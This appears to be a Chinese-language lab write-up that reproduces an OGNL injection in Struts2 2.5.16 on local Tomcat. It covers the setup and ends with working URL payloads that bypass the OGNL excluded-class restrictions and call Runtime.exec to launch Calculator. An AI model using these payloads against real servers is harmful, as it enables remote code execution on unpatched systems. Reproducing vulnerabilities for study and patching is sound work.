环境搭建

环境说明:

  1. Struts2 2.5.16
  2. Tomcat 9.6.0
  3. Intellij IDEA

首先下载Struts2的包以及Tomcat,Struts2的包地址如下:

https://archive.apache.org/dist/struts/2.5.16/struts-2.5.16-all.zip

将 /apps 下的 struts2-showcase.war 放入Tomcat 的 /webapps 下,如图:

将 /webapps/struts2-showcase/WEB-INF/classes/struts-actionchaining.xml 以及 /webapps/struts2-showcase/WEB-INF/src/java/struts-actionchaining/xml 内的内容更换如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.5//EN"
"http://struts.apache.org/dtds/struts-2.5.dtd">

<struts>
<package name="actionchaining" extends="struts-default">
<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
<result type="redirectAction">
<param name = "actionName">register2</param>
</result>
</action>
</package>
</struts>

回到 /bin 目录,执行:

./startup.sh

便可以启动tomcat服务器,访问

http://0.0.0.0:8080/struts2-showcase/

若能看到正常返回,则环境搭建正常,继续访问:

http://0.0.0.0:8080/struts2-showcase/actionchaining/${(1+1)}/register2.action

发现跳转到了:

http://0.0.0.0:8080/struts2-showcase/actionchaining/2/register2.action

漏洞环境至此搭建完成

漏洞原理分析

这一部分,chybeta师傅讲的很清楚了,附上链接:

https://xz.aliyun.com/t/2618

EXP构造

网上放出的exp基本都是 Struts2 比较老的版本,对于2.5.16这种比较新的版本而言,ognl新添了部分过滤.

因此相比较于网上常见的2.3的exp,2.5的exp需要进行部分改动.

在2.5.16的环境下使用payload:

${(#ct=#request[‘struts.valueStack’].context).(#cr=#ct[‘com.opensymphony.xwork2.ActionContext.container’]).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))}

观察url会返回:

http://0.0.0.0:8080/struts2-showcase/actionchaining/com.opensymphony.xwork2.ognl.OgnlUtil@55dd2f12/register2.action

可以发现,这一部分的取值是能够正常进行的,而我们再看看2.3版本的exp(图是直接从其他师傅博客扒的:

我们可以看到,一开始调用OgnlContext去获取member_access,而我们再看下2.5版本的ExcludedClass:

因此需要对exp进行部分改动.我们可以通过setExcludedClasses与setExcludedPackageNames来覆盖默认的设置,因此我们便可以引入ognl.OgnlContext了.

附上弹计算器的payload:

http://0.0.0.0:8080/struts2-showcase/actionchaining/${(%23ct=%23request[‘struts.valueStack’].context).(%23cr=%23ct[‘com.opensymphony.xwork2.ActionContext.container’]).(%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(%23ou.setExcludedClasses(‘java.lang.Shutdown’)).(%23ou.setExcludedPackageNames(‘sun.reflect.’)).(%23dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(%23ct.setMemberAccess(%23dm)).(%23cmd=@java.lang.Runtime@getRuntime().exec(‘open%20/Applications/Calculator.app’))%7D/actionChain1.action